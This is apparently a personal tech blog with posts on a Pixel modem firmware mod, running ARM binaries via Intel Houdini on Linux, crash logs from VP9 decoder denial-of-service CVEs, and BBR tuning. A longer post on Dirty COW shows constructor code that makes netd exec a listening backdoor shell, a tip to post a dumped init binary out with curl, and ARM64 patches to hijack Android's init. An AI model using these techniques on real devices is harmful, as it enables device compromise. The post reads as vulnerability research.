2018/6/15

Google Pixel modem.img mod for Chinese carriers

Carriers in China like China Telecom was stuck on CSFB mode of 4G NOT globally popular VOLTE mode, so most cell-phones not selling in China are probably incompatible here. Google Pixel is the particular one.

We must believe that Qualcomm's modern SoC surely support numerous LTE bands and modes, for it's hard to put different specs of SoC to a large production line.
It's a matter of software.

I've experienced diag mode hacks on LG, Samsung devices. With Qualcomm's QPST you can tune a lot of radio stuff.

The main idea is:
  1. enable diag mode (setprop sys.usb.config diag,adb) with AOSP self-built firmware (actually you can just simply flash vendor.img fetched from here https://developers.google.com/android/drivers)
  2. patch carrier_policy.xml to support CSFB
However, there is a setback: this patch will be reverted by OTA or a SIM card reload.
Then you need to backup and restore the patched EFS (/dev/block/platform/soc/624000.ufshc/by-name/modemst(1or2)).

Another solution is to patch the modem.img, details introduced here:

The modem.img contains radio firmware and carrier configs etc.
Pixel's modem.img is a FAT system image.
After "mount -t vfat modem.img -o rw,umask=0000,shortname=lower modem", you can find all carrier configs at modem_pr/mcfg/configs/mcfg_sw.
The config mcfg_sw.mbn is an ELF compiled by ARM Compiler based on the vendor's config set. Likely it is running in the radio modem processor.

What if we copy configs from other devices that natively support more carriers?
OnePlus 3T is one choice, same Snapdragon 821 SoC. The modem firmware is located in NON-HLOS.img.
Much richer config set here:
├── apac
│   ├── airtel
│   ├── dcm
│   ├── kddi
│   ├── reliance
│   └── sbm
├── china
│   ├── cmcc
│   ├── ct
│   └── cu
├── common
│   ├── default
│   ├── row
│   └── w_one
├── eu
│   ├── dt
│   ├── ee
│   ├── h3g
│   ├── orange
│   ├── telefoni
│   └── vodafone
├── korea
│   ├── lgu
│   ├── skt
│   └── tta
├── na
│   ├── amx
│   ├── att
│   ├── sprint
│   ├── tmo
│   ├── uscc
│   └── verizon
├── oem
│   └── overseas
├── russia
│   ├── beeline
│   └── megafon
├── sa
│   └── brazil
└── sea
    ├── 3hk
    ├── ais
    ├── dtac
    ├── hkt
    ├── smartfre
    ├── smartone
    ├── trumove
    └── ytl

Now the problem is that modem.img in Pixel is truncated to real data size, we don't have enough spaces to add more configs.

Two ways to go:

1, extend the original modem.img

Firstly file modem.img:
DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", Bytes/sector 4096, sectors/cluster 4, root entries 512, Media descriptor 0xf8, sectors/FAT 3, sectors/track 63, heads 255, sectors 16384 (volumes > 32 MB), reserved 0x1, serial number 0xbc614e, unlabeled, FAT (16 bit)

The real filesystem is 4096*16384=67108864, but the modem.img size is lower, which means some tool compact the image to the actually used size. We can append the "lost" bytes, and do fsck:
dd if=/dev/zero  bs=1  count=8421376 >> modem.img
fsck.vfat -v -y modem.img

2, mkfs a new image (I actually have not tested, you may try):
truncate -s 67108864 modem.img
mkfs.vfat -S 4096 -F 16 modem.img

After the config set replaced, we have a brand new modem.img, let's flash it:
fastboot flash modem modem.img (only flash the active slot)

Another problem came, by far modemst/EFS still was configured with old modem.img, how to manually trigger the modemst/EFS update?
I've tested OTA or a SIM card reload mentioned before, the chance is pretty low.
Finally I find a way: remove /data/misc/radio

Network connected.

You're welcomed to comment if you come to any question.

2017/12/28

Run ARM executables on Linux x86 with Intel Houdini

This is only an experimental test. Please DO NOT abuse. Take responsibility for your own if using it in other purposes.

Intel Houdini is applied in x86 arch Android devices to enable the possibility of ARM code support. It's awesome and how about extending the possibility to Linux?

The Intel Houdini binaries is proprietary, you can only find them in several x86 model Android devices' vendor binaries. Nexus Player (fugu) contains currently the latest version that I can find.
https://developers.google.com/android/drivers#fuguopr2.170623.027
SHA256: 114c20b8335f3c166c76d590c6d238153c463c2fa2dea3da56d1ce3ffd1ec6ed

Accept the license at your own risk. Extract it and you get the Houdini and other unrelated binaries in vendor/intel/fugu/proprietary.
In vendor/intel/fugu/proprietary/device-partial.mk, files manifest is located here. All you need to do is copy them to your Linux host. However, the target path is Android style and this path style is hard-coded in Houdini binaries, so just take it easy, mkdir /system, try script below (root needed).

import os
import shutil

with open('device-partial.mk') as f:
    for line in f:
        line = line.strip()
        if line.startswith(r"vendor/intel/fugu/"):
                j = line.split(':')
                if len(j) < 2:
                    continue
                src = j[0]
                src = src[src.find(r"proprietary/"):]
                dst = '/'+j[1]
                dst = os.path.dirname(dst)
                if not os.path.exists(dst):
                    os.makedirs(dst)
                shutil.copy(src, dst)
                print("src %s copied to dst %s" % (src, dst))

Houdini relies binfmt_misc feature by Linux Kernel to pass the ARM executables to Houdini translator. You need to register ARM executable magic to Houdini translator /system/bin/houdini.

su
modprobe binfmt_misc
mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
cd vendor/intel/fugu/proprietary
cat arm_dyn > /proc/sys/fs/binfmt_misc/register
cat arm_exe > /proc/sys/fs/binfmt_misc/register

Next step, install ARM runtime libraries on Linux. For Ubuntu 16.04:

# For default APT servers on Ubuntu x86 provide no ARM support, you need to add restriction to fetch only i386, amd64 packages from main server. Example: deb [arch=i386,amd64] http://archive.ubuntu.com/ubuntu/ xenial main restricted
# Then add APT servers providing ARM packages.
deb [arch=armhf] http://ports.ubuntu.com/ubuntu-ports/ xenial main
deb [arch=armhf] http://ports.ubuntu.com/ubuntu-ports/ xenial-updates main
deb [arch=armhf] http://ports.ubuntu.com/ubuntu-ports/ xenial-security main

dpkg --add-architecture armhf
apt update
apt install libc6:armhf

Now we need Houdini using Linux GNU linker instead of Android linker. And chmod.

su
cp /lib/arm-linux-gnueabihf/ld-2.23.so /system/lib/arm/linker
chmod 755 /system/lib/arm/linker
chmod 755 /system/bin/houdini

Almost done. Let's try run OpenSSL for benchmark. Firstly, download a ARMHF openssl:

apt install libssl1.0.0:armhf
# DO NOT apt install openssl:armhf for breaking many things.
# Extract openssl from http://ports.ubuntu.com/ubuntu-ports/pool/main/o/openssl/openssl_1.0.2g-1ubuntu4.10_armhf.deb

Here is the result:

# NATIVE
~/poc$ openssl speed -evp AES256
Doing aes-256-cbc for 3s on 16 size blocks: 90227643 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 64 size blocks: 24112794 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 256 size blocks: 6133873 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 1024 size blocks: 1526964 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 8192 size blocks: 192347 aes-256-cbc's in 3.00s
OpenSSL 1.0.2g  1 Mar 2016
built on: reproducible build, date unspecified
options:bn(64,64) rc4(16x,int) des(idx,cisc,16,int) aes(partial) blowfish(idx) 
compiler: cc -I. -I.. -I../include  -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-256-cbc     481214.10k   514406.27k   523423.83k   521203.71k   525235.54k

# ARMHF
~/poc$ ./openssl speed -evp AES256
ERROR: ld.so: object '/system/lib/arm/libaeabi_map.so' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Doing aes-256-cbc for 3s on 16 size blocks: 10090430 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 64 size blocks: 3350791 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 256 size blocks: 878897 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 1024 size blocks: 176189 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 8192 size blocks: 27901 aes-256-cbc's in 3.00s
OpenSSL 1.0.2g  1 Mar 2016
built on: reproducible build, date unspecified
options:bn(64,32) rc4(ptr,char) des(idx,cisc,16,long) aes(partial) blowfish(ptr) 
compiler: cc -I. -I.. -I../include  -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DL_ENDIAN -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DAES_ASM -DBSAES_ASM -DGHASH_ASM
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-256-cbc      53815.63k    71483.54k    74999.21k    60139.18k    76188.33k

Additional, to fix  '/system/lib/arm/libaeabi_map.so' from LD_PRELOAD warning.
The cause is that Houdini will set LD_PRELOAD=/system/lib/arm/libaeabi_map.so, libaeabi_map.so is not neccesary for us as it's used for patching libc.so and libm.so on Android.
So, NUL the path can silent the warning.
su
sed -i 's/\/system\/lib\/arm\/libaeabi_map\.so/\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0/g' /system/bin/houdini

Bugs may exist for this Houdini binaries was not intended for Linux.

2017/6/14

PoC of CVE-2017-0641 (VP9 decoder DoS)

Missed to report this PoC....
Now it goes public:
https://github.com/V-E-O/PoC/tree/master/CVE-2017-0641

Patch:https://android.googlesource.com/platform/external/libvpx/+/698796fc930baecf5c3fdebef17e73d5d9a58bcb

06-14 18:28:57.741 11710 11710 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-14 18:28:57.741 11710 11710 F DEBUG   : Build fingerprint: 'google/angler/angler:7.0/NBD90X/3254009:user/release-keys'
06-14 18:28:57.741 11710 11710 F DEBUG   : Revision: '0'
06-14 18:28:57.741 11710 11710 F DEBUG   : ABI: 'arm'
06-14 18:28:57.742 11710 11710 F DEBUG   : pid: 10085, tid: 11705, name: gle.vp9.decoder  >>> media.codec <<<
06-14 18:28:57.742 11710 11710 F DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
06-14 18:28:57.742 11710 11710 F DEBUG   :     r0 00000000  r1 00000000  r2 0ad3c210  r3 00000000
06-14 18:28:57.742 11710 11710 F DEBUG   :     r4 f2672fa0  r5 0000e304  r6 0000c30d  r7 0000c30c
06-14 18:28:57.742 11710 11710 F DEBUG   :     r8 f2677404  r9 f1b039d4  sl f2672fa0  fp f2672fa0
06-14 18:28:57.742 11710 11710 F DEBUG   :     ip 00000000  sp f1b038d4  lr f3011ad4  pc f3f8a6e4  cpsr 200f0010
06-14 18:28:57.746 11710 11710 F DEBUG   :
06-14 18:28:57.746 11710 11710 F DEBUG   : backtrace:
06-14 18:28:57.746 11710 11710 F DEBUG   :     #00 pc 000176e4  /system/lib/libc.so (memset+48)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #01 pc 0001dad0  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #02 pc 00013b3c  /system/lib/libstagefright_soft_vpxdec.so (vp9_init_context_buffers+12)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #03 pc 00017ab0  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #04 pc 000178f0  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #05 pc 00014248  /system/lib/libstagefright_soft_vpxdec.so (vp9_decode_frame+1068)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #06 pc 0001e228  /system/lib/libstagefright_soft_vpxdec.so (vp9_receive_compressed_data+1104)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #07 pc 0000f604  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #08 pc 00010348  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #09 pc 0000f4c8  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #10 pc 0000e150  /system/lib/libstagefright_soft_vpxdec.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #11 pc 0000fbe4  /system/lib/libstagefright_soft_vpxdec.so (vpx_codec_decode+100)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #12 pc 0000c6eb  /system/lib/libstagefright_soft_vpxdec.so (_ZN7android7SoftVPX13onQueueFilledEj+298)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #13 pc 0002223d  /system/lib/libstagefright_omx.so (_ZN7android22SimpleSoftOMXComponent17onMessageReceivedERKNS_2spINS_8AMessageEEE+272)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #14 pc 0002325d  /system/lib/libstagefright_omx.so
06-14 18:28:57.746 11710 11710 F DEBUG   :     #15 pc 0000ea25  /system/lib/libstagefright_foundation.so (_ZN7android8AHandler14deliverMessageERKNS_2spINS_8AMessageEEE+24)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #16 pc 00010bf5  /system/lib/libstagefright_foundation.so (_ZN7android8AMessage7deliverEv+60)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #17 pc 0000f58d  /system/lib/libstagefright_foundation.so (_ZN7android7ALooper4loopEv+380)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #18 pc 0000e3c5  /system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+264)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #19 pc 00047003  /system/lib/libc.so (_ZL15__pthread_startPv+22)
06-14 18:28:57.746 11710 11710 F DEBUG   :     #20 pc 00019e1d  /system/lib/libc.so (__start_thread+6)

2017/4/20

PoC of CVE-2017-0474 (VP9 decoder DoS)

Google fixed it before I found the PoC.
Now it goes public:

04-20 22:31:17.998 13643 13740 F libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xffffffec in tid 13740 (gle.vp9.decoder)
04-20 22:31:17.999   355   355 W         : debuggerd: handling request: pid=13643 uid=1046 gid=1006 tid=13740
04-20 22:31:18.061 13751 13751 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
04-20 22:31:18.062 13751 13751 F DEBUG   : Build fingerprint: 'google/angler/angler:7.0/NBD90X/3254009:user/release-keys'
04-20 22:31:18.062 13751 13751 F DEBUG   : Revision: '0'
04-20 22:31:18.062 13751 13751 F DEBUG   : ABI: 'arm'
04-20 22:31:18.063 13751 13751 F DEBUG   : pid: 13643, tid: 13740, name: gle.vp9.decoder  >>> media.codec <<<
04-20 22:31:18.063 13751 13751 F DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xffffffec
04-20 22:31:18.063 13751 13751 F DEBUG   :     r0 0006dc72  r1 200f3e9e  r2 00000002  r3 00000000
04-20 22:31:18.063 13751 13751 F DEBUG   :     r4 f178a008  r5 00000000  r6 00000000  r7 00000000
04-20 22:31:18.063 13751 13751 F DEBUG   :     r8 f20da779  r9 f146c624  sl 00000000  fp f17fa9e8
04-20 22:31:18.063 13751 13751 F DEBUG   :     ip f146c580  sp f146c610  lr f20799f1  pc f20797d2  cpsr 80030030
04-20 22:31:18.064 13751 13751 F DEBUG   :
04-20 22:31:18.064 13751 13751 F DEBUG   : backtrace:
04-20 22:31:18.065 13751 13751 F DEBUG   :     #00 pc 000197d2  /system/lib/libc.so (_ZN11ScopedTraceC1EPKc+141)
04-20 22:31:18.065 13751 13751 F DEBUG   :     #01 pc fffffffd  <unknown>

2017/1/18

Enable BBR on Arch/Manjaro

BBR is a new congestion control algorithm developed at Google, which was supported in Linux 4.9.

Arch may be needed to switch to testing branch to temporarily install Linux kernel 4.9.
pacman-mirrors -g -b testing

Test if BBR is included in your installed kernel (early version on Manjaro did not config BBR)
modprobe tcp_bbr
lsmod | grep bbr

Modify /etc/sysctl.d/*.conf to set these values (remove existed config which set to different values):
net.core.default_qdisc=fq
net.ipv4.tcp_congestion_control=bbr

sysctl -p or reboot, check sysctl net.ipv4.tcp_congestion_control.

2016/10/31

Way to Android init with CVE-2016-5195 (Dirty COW)


Thanks to the great findings of CVE-2016-5195, you can check the detail in the link.
Dirty COW vulnerability: https://dirtycow.ninja/
PoC for Android: https://github.com/timwr/CVE-2016-5195

What you can do with the exploit, in short, you can modify arbitrary file if readable.
Well not just that, I'll explain it later.

To gain root privilege, in Linux, you have /etc/passwd, su, while in Android, no su, no mount rw on /system, but with SELINUX.

No su means root privilege is officially blocked, and even with capability to setuid, you can only root at restricted SELINUX context, like u:r:shell:s0.

No mount rw on /system means your modified data will not be written back to disk.
Dirty COW modifies the file mapping in Linux kernel, dirty data sync with disk will be blocked if device mounted read only.

So in Android, you have no decent privilege escalation way, and do not like reboot (kernel reboot).
What about modify services like lkmd, vold, netd which was already running as root.

I chose netd which has network policy granted by SELINUX. Then two problems came: netd is not readable by us and MAYBE you need to restart the process.

First problem is easy to resolve, for these executables are linked with multiple shared libraries like libsysutils.so. You can add function to AOSP code /system/core/libsysutils/src/ and recompile it with mmma command.
With __attribute__((constructor)), your function will be executed at linking.
To be noticed, file size can not be changed by the exploit and data exceed original size will be removed, so you need to trim the size of new so. Mostly a CFLAG -Os can be the key. In my experiment, I roughly made a so only with code below (netd will not function any more):
static void con() __attribute__((constructor));
void con() {
    if (getuid() == 0) {
        char buf[255];
        int fd = open("/proc/self/cmdline",O_RDONLY);
        read(fd, buf, 255);
        if (strstr(buf,"/system/bin/netd")) {
        char * argv[]={"tc",NULL};
        char * envp[]={0,NULL};
        execve("/system/bin/tc",argv,envp);
}
/system/bin/tc is a shell backdoor dirtycowed listening at random port acting like netcat or telnetd. Dirtycow your backdoor into another executable /system/bin which has SELINUX label "u:object_r:system_file:s0". Do not use busybox for some of its code would trigger SELINUX policy.

Second problem, how to execute our modified code? Still need to another vulnerability to crash target process? After experimenting, the answer is NO.
When executing an ELF, Linux kernel maps the ELF into memory. The mapping will be reused when you open the ELF again. When you dirtycow the ELF file, existed ELF process image are changed too. That is to say, Dirty COW CAN MODIFY ANY RUNNING PROCESS IF READABLE. If the process ELF self is not readable, you still can cat /proc/{pid}/maps to find out if its loaded modules readable.

In my experimenting, after dirtycow libsysutil.so, netd soon crashed. The crash reason is SEGMENT FAULT, because CPU suddenly running our code with everything changed. Thanks to Android's watchdog, netd will be restarted.

Now you have the u:r:netd:s0 context, and you can get installd or system_server to control Android framework same way. What about the No.1 process init? Let's figure out what can be done in context u:r:init:s0.

For init, situation is different. We don't have any shared libraries and if init crashed the kernel will reboot. Okay seems have to patch the native code!

Firstly, check the init code, find out where init are running now.
https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#698
That's a while loop. Seems we need to patch code running here.

Secondly, dump the init ELF. It's easy if you already have netd shell. But notice that even netd cannot access internal storage or /data, so use curl to post it out!
Check SimpleHTTPServerWithUpload here: https://gist.github.com/UniIsland/3346170

Then load init into reverse tools and choose an area for our own shellcode which our init would not possible run into it, like stack overflow protector in every functions:
STP             X29, X30, [SP,#-0x10+var_s0]!
ADRP            X0, #aStackCorruptio@PAGE ; "stack corruption detected"
MOV             X29, SP
ADD             X0, X0, #aStackCorruptio@PAGEOFF ; "stack corruption detected"
BL              sub_429678
MOV             X8, #0x24
SVC             0
CMN             X0, #1,LSL#12
CINV            X0, X0, HI
B.HI            loc_42A7DC
RET
Patch the stack cookie check condition instruction in function ExecuteOneCommand (https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#700) to always jump (B) to our "protector":
LDR             X21, [X22,#0xE10]
LDR             X22, [X29,#0x160+var_8]
LDR             X23, [X21]
CMP            X22, X23
B.NE            loc_404558       ; -> B            loc_404558
LDP             X19, X20, [SP,#0x160+var_150]
LDP             X21, X22, [SP,#0x160+var_140]
LDP             X23, X24, [SP,#0x160+var_130]
LDR             X25, [SP,#0x160+var_120]
LDP             X29, X30, [SP+0x160+var_160],#0x160
RET

Well write a full ARM64 shellcode is painful, you need to really careful not letting init crash. After digging, I found valuable functions in static linked init, just like this one:
android_fork_execvp_ext
https://android.googlesource.com/platform/system/core/+/master/logwrapper/logwrap.c#484

You can copy existed android_fork_execvp_ext invoke instructions and modify some offset. (In recent versions, two parameters opts and opts_len added, you can copy latest code and set opts_len to 0)
Try this helpful ARM converter: http://armconverter.com/
STP               X29, X30, [SP, #-0x20]!
MOV             X29, SP
MOV             W0, #1                  ; argc
ADR              X2, aSystemBinTftp_     ;"/system/bin/tftp_server"
STR               X2, [X29, #0x10]
ADD             X1, X29, #0x10          ; argv
ADD             X2, X29, #0x18          ; status
MOV             W3, #1                  ; ignore_int_quit
MOV             W4, W0                 ; log_target
MOV             W5, #0                  ; abbreviated
MOV             X6, #0                   ; file_path
BL                android_fork_execvp_ext
LDP              X29, X30, [SP], #0x20
B                  loc_4044F8
Dirtycow /init in the netd shel, and adb shell setprop service.adb.tcp.port 5555 to continue the while loop in init. If you are lucky enough, you will see a forked process tftp_server running in u:r:init:s0 context. "/system/bin/tftp_server" is dirtycowed with our new shellcode, but socket is SELINUX restricted even running in u:r:init:s0. My implementation reads commands from /sdcard/ and writes output to logcat.
I/tftp_server(    1): pid: 18048, port: 51306
I/tftp_server(    1): selinux_ret: 0
I/tftp_server(    1): command: uid=0(root) gid=0(root) context=u:r:init_shell:s0
I/tftp_server(    1): telnetd/server.c:56: mount: Permission denied
I/tftp_server(    1): tftp_server terminated by exit(1)
What about root? In my device, mount system rw or reload SELINUX policy is restricted, but still has chance like insmod. Unfortunately, the OEM vendor of my phone enforces the kernel module signing and does not discloses the private key.

Any help advance us to root is much appreciated!




Google Pixel modem.img mod for Chinese carriers

Carriers in China like China Telecom was stuck on CSFB mode of 4G NOT globally popular VOLTE mode, so most cell-phones not selling in China ...